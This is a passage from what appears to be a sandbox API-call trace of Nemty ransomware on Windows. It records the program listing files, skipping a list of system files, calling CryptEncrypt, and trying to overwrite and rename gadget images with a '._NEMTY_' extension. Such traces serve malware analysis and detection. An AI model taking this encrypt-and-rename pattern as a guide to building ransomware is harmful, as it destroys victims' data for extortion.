Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waxing-crescent_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waxing-crescent_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waxing-crescent_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waxing-crescent_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0167.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63441d8 | out: hHeap=0x4f90000) returned 1 [0167.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0167.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0167.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340398 | out: hHeap=0x4f90000) returned 1 [0167.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0167.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0167.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0167.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0167.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0167.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.590] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e9acb9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e9acb9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x32c4bbab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4c50, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-waxing-gibbous.png", cAlternateFileName="")) returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2=".") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="..") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="...") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="windows") returned -1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="$RECYCLE.BIN") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="rsa") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="NTDETECT.COM") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="ntldr") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="MSDOS.SYS") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="IO.SYS") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="boot.ini") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="boot.ini") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="AUTOEXEC.BAT") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="ntuser.dat") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="desktop.ini") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="CONFIG.SYS") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="RECYCLER") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="BOOTSECT.BAK") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="bootmgr") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="programdata") returned 1 [0167.590] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous.png", lpString2="appdata") returned 1 [0167.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0167.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0167.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0167.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-gibbous.png", lpUsedDefaultChar=0x0) returned 38 [0167.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0167.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0167.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0167.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0167.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-gibbous.png", lpUsedDefaultChar=0x0) returned 38 [0167.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0167.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0167.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0167.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0167.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0167.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0167.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-gibbous.png", lpUsedDefaultChar=0x0) returned 38 [0167.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0167.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0167.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0167.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0167.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-gibbous.png", lpUsedDefaultChar=0x0) returned 38 [0167.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0167.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0167.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401a8 [0167.591] Sleep (dwMilliseconds=0x5) [0167.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x178bf9b0, dwHighDateTime=0x1d561e8)) [0167.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x178bf9b0, dwHighDateTime=0x1d561e8)) [0167.604] GetLastError () returned 0x5 [0167.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.604] GetLastError () returned 0x5 [0167.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0167.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0167.604] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0167.604] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0167.605] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0167.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0167.605] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e91c | out: pszString="HjO1JdHC8nAq0Sx/ovQtfqBAXjrQu0tGV/gHr8R+zC/nK/QMTdx6oVs5xDgD8DRJ\r\nD8bEGuSEooPaWhKMMfuYDrIfpiY8jdwRRR+WD3OW7OWg8ou+43neEC4YgTTY8vNv\r\ncCchjw5Gy5dq9jYGotoMIovBQoC/cxHkx6+7v+6evi4QyCiDL02e0tI4HAnUqIu+\r\nNAhteDI+AKE1fKQPMaSQEVH9KIimkFOnjvQozemzR+wIu2qbg+zgf6Ec2DUsXK/f\r\nGY55Lsl1FryLDiIc01Ln4qRqSpXsfhdMdrgNzBvk0ivl9CzQnq9k2ggnQNCWZkio\r\nH6OvaqCBQrP8tDS6rpKVdQ==\r\n", pcchString=0x653e91c) returned 1 [0167.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0167.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0167.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0167.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0167.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0167.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0167.605] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waxing-gibbous.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waxing-gibbous.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0167.605] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0167.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0167.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.605] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.624] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.624] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.633] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.642] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.652] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.670] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.680] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.689] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.689] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.698] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.704] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.705] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.711] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.711] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.711] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0167.711] CloseHandle (hObject=0xffffffff) returned 0 [0167.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63403f0 [0167.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0167.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0167.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0167.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0167.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0167.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404c8 [0167.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0167.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0167.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0167.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waxing-gibbous.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waxing-gibbous.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waxing-gibbous.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waxing-gibbous.png._nemty_kgobjgd_")) returned 0 [0167.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0167.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0167.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0167.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0167.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0167.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0167.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0167.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0167.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0167.711] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, 